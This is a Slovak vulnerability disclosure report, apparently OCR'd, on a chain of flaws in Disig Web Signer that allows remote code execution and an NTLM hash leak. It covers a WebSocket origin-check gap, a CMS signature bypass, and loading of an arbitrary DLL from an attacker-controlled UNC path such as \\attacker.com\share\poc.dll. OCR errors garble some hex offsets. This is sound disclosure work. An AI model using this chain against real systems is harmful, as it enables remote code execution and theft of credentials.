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1 Uvod

Spolocnost Binary House identifikovala zranitelnosti v produkte Disig Web Signer vo verzii
2.5.3 a nizSie. Aplikacia elD klient pouziva Disig Web Signer v procese vydavania certifikatov.

2 Zhrnutie

Aplikacia Web Signer umoZznuje koncovym pouzivatelom vo webovom prehliadaci podpisovat
elektronické dokumenty zdokonalenym alebo kvalifikovanym elektronickym podpisom a
pecatou. Webovy prehliada¢ moéze s aplikaciou komunikovat prostrednictvom
Specializovaného rozSirenia alebo prostrednictvom priameho WebSocket spojenia na
lokalnom rozhrani (localhost), kde aplikacia obsadi prvy dostupny port z mnoziny: 2378, 3546,
4384, 5147, 5692, 6378, 7678, 7681, 9799, 9796.

Z dbévodu nedostatocCnej validacie pévodu WebSocket spojeni a chybnej implementacie
kryptografického overovania CMS podpisov je mozné z lubovolnej webovej stranky
Specifikovat cestu k PKCS#11 kniZnici, ktoru aplikacia nasledne nacita a spusti. Tym je mozné
dosiahnut vzdialené spustenie lubovolného (Skodlivého) kédu na pocitaci pouzivatela. Na
zneuzitie tejto zranitelnosti sa vyzaduje len navsteva webovej stranky utocnika - Ziadna dalSia
interakcia pouZzivatela nie je potrebna.

3 Podrobnosti o zranitelhostiach a exploitacia
Chybajuca validacia pévodu WebSocket spojeni

Aplikacia WebSignerTray.exe pocCuva na lokalnom WebSocket rozhrani (napr.
ws://localhost:2378/) a prijima JSON spravy vo formate {"id":"...","method":"<
namespace>.<version>.<module>.QES.<action>","args":[...]}. Prva sprava od klienta musi
byt CheckContext (napr. WebSigner.1.2.0.qt.QES.CheckContext). Aplikacia z nej extrahuje
identifikator namespace, verziu protokolu a modul pomocou reguldrneho vyrazu
AW\ (\d+\\d+\ . \d+)\. (\w+)\.QES\.\w+$ VO funkcii NativeMessages::setNamespace().
Nasledne funkcia NativeMessagingSocketHandler::textMessageReceived() (offset ox408e30)
v WebSignerTray.exe, vykona bezpecnostnu kontrolu:

1. Zavola webSignerConfig: :checkUser() - nacita konfigurovatelny boolean z elementu
<CheckUser> v subore WebSigner.conf. V predvolenej konfiguracii je hodnota True.

2. Ak je checkUser nastaveny na False, cela bezpecnostna kontrola sa preskoci a
pokracuje sa priamo na dispatch.
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3. Ak je True, zavold ProcessInfo::forWebSocket() (offset @x4ec350), ktora pomocou
GetExtendedTcpTable() zisti PID pripajajuceho sa procesu na zaklade TCP peer adresy
a portu, z PID ziska Windows Security Identifier (SID) cez OpenProcessToken() a
GetTokenInformation(TokenUser), a porovna ho so SID vlastného procesu uloZzenym
v globalnej premennej DAT_00430034.

4. AkSID nesuhlasialebo proces nie je identifikovany, spojenie je odmietnuté s chybovou
spravou "Bad context!" a handler je uvolneny volanim FUN_ee4e853e (disconnect).

Tato kontrola overuje vylucne to, Ci pripajajuci sa proces bezi pod rovnakym Windows
pouzivatelom. Neoveruje sa Origin HTTP hlavicka, ¢o znameng, Ze [lubovolna webova stranka
otvorena v povolenom prehliadaci (Firefox, Chrome, Edge) mdze nadviazat WebSocket
spojenie a volat vSetky dostupné metddy.

Po uspesnej kontrole kontextu aplikacia odosle CheckContext odpoved a okamZzite spusti
podproces podla hodnoty vendor extrahovanej z method stringu:

®  "WebSigner" — startWebSigner() (offset 0x407830) -
QProcess: :start("WebSigner.exe")

®  "WebSignerPkcs1l" — handleWebSignerPkcs11() (offset 0x407cbe) -
QProcess::start("WebSignerPkcsll.exe")

[ | Ostatné — warning "Unknown application to run!"

V oboch pripadoch komunikacia s podprocesom prebieha cez stdin/stdout pipe. VSetky
nasledné spravy (vratane CreateInstance, GenerateNonce, GetSlots, SetProperty, ...) sU
preposielané na stdin podprocesu funkciou writeStandardInput() (offset @ex408bbe) bez dalSej
kontroly. CreateInstance je teda prva sprava spracovana podprocesom, a nie dispatchovacim
mechanizmom vo WebSignerTray.

Obiditelné overovanie CMS podpisov

Komunikacny protokol medzi serverom a aplikaciou Web Signer (pre oba namespace -
WebSigner aj WebSignerPkcs1l) vyuZziva CMS (Cryptographic Message Syntax, RFC 5652)
podpisy na overenie integrity a pévodu dat. Analyza implementacie odhalila, Ze v3etky tri
vrstvy overovacieho retazca obsahuju nedostatky umoznujuce ich obidenie.

CMS_verify s flagom CMS_NO_SIGNER_CERT_VERIFY

Funkcia ResponseCryptoProcessor: :verifyCmsSignature() (offset ex7e44d21e v WebSigner.dll)
vykonava overenie CMS podpisu nasledovne:
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X509 STORE *store = X509 _STORE_new();
int result = CMS_verify(cms, NULL, store, NULL, NULL, ©x20);

Flag @x20 (CMS_NO_SIGNER_CERT_VERIFY) inStruuje OpenSSL, aby preskocilo overenie certifikatu
podpisovatela vodi certificate store. KedZe store je navySe prazdny (X509_STORE_new() bez
akéhokolvek x509_STORE_add_cert()), aj bez tohto flagu by overenie voci store zlyhalo. V praxi
to znamena, ze CMS sprava podpisana lubovolnym self-signed certifikatom prejde touto
kontrolou.

X509_check_issued bez kryptografického overenia

Funkcia x5e9Certificate2Ultra::verifyIssuer() (offset ex70454b7e) overuje, Ci certifikat
podpisovatela bol vydany jednou z dvoch hardcodovanych Disig CA:

[ ] CN=Disig TechCA®2, OU=Technologicka CA SHA384, 0=Disig a.s., L=Bratislava, C=SK
[ ] CN=CA Disig R2I3 Certification Service, 0=Disig a.s., L=Bratislava, C=SK

Overenie je realizované vylucne volanim funkcie x509_check_issued(), ktora vykonava len
porovnanie Distinguished Name (DN) retazcov - konkrétne overuje, ¢i pole Issuer v certifikate
podpisovatela zodpoveda polu Subject hardcodovaného CA certifikatu.

KliCovym zistenim je, Ze funkcia X509_verify() / X509_verify cert(), ktora vykonava
skutocné kryptografické overenie podpisu (RSA/ECDSA) CA certifikatom, nie je v kniznici
WebSigner.dll vobec importovana. Uto¢nik si teda moZe vytvorit viastny self-signed CA
certifikat s identickym DN retazcom a tento bude akceptovany.

Overenie certifikacnej politiky porovnanim retazcov

Funkcia  X5@9Certificate2Ultra::verifyCustomPolicy() (offset @x7@4553e0) overuje
pritomnost Specifickej certifikacnej politiky v certifikate podpisovatela:

1. Zavola X509 _get _ext by NID(cert, 0x59, -1)- NID 89 = certificate _policies
2. Dekéduje rozSirenie volanim d2i_CERTIFICATEPOLICIES()

3. lteruje jednotlivé politiky a porovnava OID s hardcodovanym retazcom
1.3.158.35975946.0.0.0.1.10.1.0

KedZe ide o jednoduché porovnanie retazcov, Utocnik méze tuto politiku zahrndt do svojho
self-signed certifikatu pri jeho generovani.
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Nonce

Po obideni vSetkych troch vrstiev overenia Uto¢nik do CMS XML vlozi aktualny nonce ziskany
z predchadzajuceho  volania GenerateNonce. Samotny nonce mechanizmus je
implementovany korektne - funkcia WebSignerPkcs11::generateNonce() (offset 0x70432600)
generuje UUID a funkcia processNonce() (offset @x70432d8e) overuje zhodu s hodnotou v CMS
datach. Nonce tak brani opakovanému pouzitiu (replay utok) skér zachytenej CMS spravy, ale
z principu neméze zabranit aktivnemu utocnikovi, ktory si nonce vyziadal sam.

Nacitanie lubovolnej PKCS#11 kniznice - RCE (zero-click)

Po UspeSnom obideni vSetkych troch vrstiev CMS overenia aplikacia extrahuje z CMS obsahu
XML Struktdru <webSignerOperations, ktora obsahuje element <Pkcs11Library> SO zoznamom
ciest k PKCS#11 knizniciam. Zranitelnost sa tyka vSetkych Styroch metéd triedy
WebSignerPkcs1l, ktoré pracuju s PKCS#11 kniznicami.

VSetky  Styri XML parsery  su inStanciami  tej istej C++  Sablony
(websignerpkcsilinputxmlparser.h). Kazdy parsuje spolocné elementy <Nonce> a
<Pkcslilibrary>, pricom <PkcsliLibrary> spracuva funkcia parselLibraryData() (offset
0x70423230), ktorad prostrednictvom parseLocation() extrahuje cesty k PKCS#11 knizniciam.
Element Specificky pre danu operaciu (<GetSlots/>, <GetCertificates>, <GenerateCsr>,
<CreateObject>) sa liSi podla volanej metddy a spracuiva ho parser prislusnej operacie.

Kazda zo Styroch metdd triedy WebSignerPkcs11 ma identicku Strukturu:

Metéda Offset Async Worker funkcia
flag
getSlots() 0x70435c70 | 1 Pkcsl1lManager: :getSlots() @ ©x7042fel0
getCertificates() | ©x70436190 | 2 PkcsllManager: :getCertificates() @ 9x70430e20
generateCsr() 0x704366b0 | 3 Pkcsl1lManager: :generateCsr() @ 0x7042cdco
createObject() 0x70436bdo | 4 Pkcsl1lManager: :createObject() @ 0x7042e920

Kazda vykona rovnakd sekvenciu: CMS parsovanie — verifyCmsSignature() —
verifyIssuer() — verifyCustomPolicy() — XSD validacia — processNonce() — openWindow()
— findUsablePkcslliLibrary() — launchAsyncOperation(). Medzi metdédami nie je Ziadny
rozdiel v bezpecnostnych kontrolach.
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Funkcia Pkcsl1Manager::findUsablePkcslliLibrary() (0x7042c060) prechadza zaznamy
<Location> naparsované z kontajnera <Locations>. Pre kazdy zaznam sa vold funkcia
QFileInfo::exists() S cestou ziskanou z elementu <Path>. Hodnotu elementu <Architecture>
predtym spracuva funkcia parseLocation() (offset 0x70420e00), ktora mapuje retazec both
na 0, x86 na 1 a x64 na 2. Funkcia findUsablePkcs11Library() akceptuje hodnoty mensie ako
2 a preskakuje x64, kedZe aplikacia je 32-bitova a nedokaze nacitat 64-bitovd kniznicu.

Cesta k prvej existujucej kompatibilnej kniznici je odovzdana konstruktoru
PkcsliLibrary::Pkcslilibrary() (0x7043DAD®), ktory vykona:

1. QLibrary::QLibrary(path) - vytvorenie QLibrary inStancie s cestou z CMS dat

2. QLibrary::load() (offset ex7043DC97) - nacitanie kniznice, c¢o interne vola
LoadLibraryW()

3. Vmomente zavolania LoadLibraryW() sa vykona funkcia b11Main() nacitanej kniznice -
[ubovolny kod utocnika

Cesta ku kniZnici nie je nijako validovana ani sanitizovana. Uto¢nik méze v CMS déatach
Specifikovat UNC cestu (napr. \\attacker.com\share\poc.d11), ktord Windows transparentne
nacita prostrednictvom protokolu SMB alebo WebDAV (\\attacker.com@443\share\poc.dl1l
obchadza firewally blokujlce port 445).

Metdda GetSlots je z pohladu uUtoc¢nika najvyhodnejSia, pretoze je prvym krokom v
normalnom opera¢nom flow a nevyzaduje Ziadne predchadzajuce data okrem nonce a
podvrhnutej CMS spravy. Cely retazec prebehne bez akejkolvek interakcie pouzivatela - okno
operacie sa sice kratkodobo zobrazi, ale nacitanie kniznice prebieha asynchrénne cez
QtConcurrent / QThreadPool: :start() a nie je podmienené Ziadnym pouZivatelskym vstupom.
Utofnik mdZe navyse okamZite po odoslani GetSlots zavolat metédu Terminate
(WebSignerPkcs11.1.0.0.qt.QES.Terminate), Kktora spusti beginTermination() (offset
0x70432420). Ta nastavi priznak ukoncenia, ale ak je async operacia uZ spustena, pocka na jej
dokoncenie - DLL sa teda nacita a okno sa nasledne automaticky zavrie.

Nacitanie fubovolnej PKCS#11 kniznice - RCE (one-click)

Druha cesta k nacitaniu kniznice - QLibrary: :load() — LoadLibraryW() vedie cez namespace
"WebSigner" (nie "WebSignerPkcs11"). Pomocou metdd SetProperty (v1.1.0/v1.2.0) alebo
SetSigningCertificateStores (v1.0.7) mdze utocnik Specifikovat svoju UNC cestu k PKCS#11
kniznici na svojom serveri (napr. \\attacker.com\share\poc.d11). Tieto Udaje sa spracuju
funkciou certStoreFactory::getUsableStores() a uloZia ako zoznam povolenych PKCS#11
uloZzisk. Po kliknuti pouzivatela na tlacidlo "Podpisat" sa v ramci inicializacie cert dial6gu tato
kniZznica nacita cez LoadLibraryW() a D11Main() sa vykona okamZite.
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V tomto scenari sa vyZaduje jedno kliknutie pouzivatela a taktiez obidenie CMS ako pri zero-
click scenari.

Unik NTLM autentifikagnych tdajov

Ak je cesta k PKCS#11 kniznici vo formate UNC (napr. \\attacker.com\share\poc.dll),
Windows automaticky iniciuje SMB spojenie na uvedeny server, pricom odosSle NTLM
autentifikacné Udaje aktualneho pouzivatela (Net-NTLMv2 hash).

K uniku dochadza v oboch scenaroch a v kazdom pripade eSte pred akoukolvek
pouZzivatelskou interakciou.

Zero-click vetva (WebSignerPkcs11)

(] Funkcia Pkcs11lManager::findUsablePkcs1lLibrary() (0x7042c060) prechadza
<Location> zaznamy z <Locations> kontajnera a pre kazdy zaznam vola
QFileInfo::exists() s hodnotou <Path>.

m  Konstruktor triedy PkcsiiLibrary (0x7043dad@) vola QLibrary::load(), ktory interne
vola LoadLibraryW() s UNC cestou.

One-click vetva (WebSigner)

[ ] Pri spracovanl' SetProperty / SetSigningCertificateStores funkcia WebSigner
Properties::setSigningCertificateStores (0x70453c20 pre JSON variant, 8x70453900
pre QString variant) vola CertStoreFactory::getUsableStores (0x7040d0a® resp.
@x7040b50), ktora pre kazdy cert store vola Pkcs11CertStore: :isUsable() (0x70438b30).
Ta vola QFileInfo::exists() na UNC cestu z pola value. Tento leak nastane ihned pri
prijati setProperty, bez akejkolvek pouzivatelskej interakcie.

] Po kliknuti na "Podpisat" konstruktor triedy PkcsliLibrary (@x7043dade) vola
QLibrary::load(), ktory interne vola LoadLibraryw() s UNC cestou.

V oboch pripadoch k uniku dochadza eSte pred samotnym nacitanim kniznice a nezavisle od
toho, i sa kniznicu podari nacitat (NTLM handshake prebehne pocas SMB connection
establishment, predtym nez klient dostane odpoved o existencii suboru).

Utognik mdze zachytené Gdaje vyuZit na:

m  Offline slovnikovy/brute-force Utok na ziskanie hesla pouzivatela
=  Relay utok (NTLM relay) na autentifikaciu voci inym sluzbam v sieti

Analyza pokryvala iba verziu pre Windows. Verzie pre Linux a macOS neboli testované.
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4 Diagram exploitacie

Obet navstivi attacker.com

Browser JS —WSs

»| WebSignerTray.exe port 2378
+ CheckContext localhost
+ Createlnstance

+ spusti WebSignerPkecsll.exe

stdin/stdout pipe

v
GetNonce WebSignerPkesll.exe
»| generateNonce()
< + vrati UUID nonce
—»| attacker
.com/api
— CMS VERIFY CHAIN

OpenSSL:

1. fake CA CMS_verify(0x20)
CN=Disig CMS_NO_SIGNER_CERT
TechCAB2 _VERIFY

2. cert s
0ID X509_check_issued()

3. CMS sign len DN porovnanie

X509_verify CHYBA
CMS obsah:
- nonce verifyCustomPolicy()
- DLL path 0ID string match
processNonce()
utoénik pozna nonce
—
cms_béU

GetSlots(cms_béd) findUsablePkesllLibrary()
+ QFileInfo::exists() —SMB—» \\attacker\share\poc.dll
UNC path z CMS NTLM hash leak!

v

launchAsyncOperation()
+ QThreadPool: :start()
[async worker spusteny]

Terminate

v

beginTermination() (@x70432420)
this[ex5¢] = 1 (term flag)
if (async bezi) -+ CAKA

na dokonéenie operacie

[async worker pokraéuje]

Pkeslllibrary()
+ QLibrary::load() —SMB—»r \\attacker\share\poc.dll
4
LoadLibraryW() «——— stiahne DLL

D11lMain() » RCE!

[asyne worker dokon&eny]
+ readyToTerminate()
+ okno sa automaticky zatvori
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Video, ktoré demonstruje zneuZitie zranitelnosti je dostupné na URL adrese:

] https://www.youtube.com/watch?v=31v4aUiBMbw

5 Hodnotenie zavaznosti

Vektor: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UIL:P/NC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Skore: 9.4 (Kritické)

6 Kredit

Marek Alak3a zo spoloc¢nosti Binary House.

7 O spolocnosti

Binary House je slovenska spolocnost so sidlom v Bratislave, ktora poskytuje sluzby v oblasti
ofenzivnej IT bezpecnosti. Pomaha svojim klientom identifikovat a opravit ich zranitelné
miesta v aplikaciach, sietach a systémoch. Medzi poskytované sluzby patri penetracné
testovanie, bezpecnostné audity, reverzné inZinierstvo, vyvoj PoC / Exploitov a utoky
pomocou socidlneho inzinierstva. Pri nahlasovani zranitelnhosti sa riadi podla pravidiel
zverejriovania zranitelnosti.

8 Casova os nahlasenia zranitelhosti

05.05.2026  Prvotny kontakt a zaslanie reportu spolo¢nosti Disig

05.05.2026  Prvotny kontakt s NBU SK-CERT - bez odpovede

06.05.2026 Disig zaslal testovaciu (neverejnu) verziu aplikacie Web Signer s oznacenim
2.5.4 na overenie opravy

07.05.2026 V testovacej verzii 2.5.4 sa podarilo obist pdébvodnu opravu; technické
podrobnosti o obchadzani boli zaslané spolocnosti Disig

07.05.2026 Vydana testovacia verzia 2.5.5 - oprava overena a potvrdena

11.05.2026 Opakovany pokus o kontakt s NBU SK-CERT

11.05.2026  Nadviazanie komunikéacie zo strany NBU SK-CERT

11.05.2026 Zverejnenie verzie 2.5.5 a oznamu o zranitelnosti na webe spoloc¢nosti Disig

19.05.2026 Pridelenie identifikatora CVE-2026-8931

03.09.2026 Zverejnenie reportu BHVR2026-01


https://www.youtube.com/watch?v=31v4aUiBMbw
https://www.binary.house/pravidla-zverejnovania-zranitelnosti.txt
https://www.binary.house/pravidla-zverejnovania-zranitelnosti.txt
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9 Odkazy

https://www.disig.sk/sk/produkty/enterprise-riesenia/disig-web-signer/
https://download.disigcdn.sk/cdn/products/websigner2/Disig Web_Signer.msi
https://www.disig.sk/sk/aktuality/dolezita-aktualizacia-aplikacie-web-signer/
https://www.binary.house/research/disigwebsigner/BHVR2026-01.pdf
https://www.cve.org/cverecord?id=CVE-2026-8931

10 Kontakt

m www.binary.house
m info@binary.house

Verejny GPG kluc je dostupny na https://www.binary.house/binaryhouse.asc.

Odtlacok kltica: B23Fe087524FDOC5BDF48BD9648523A3EESEB571
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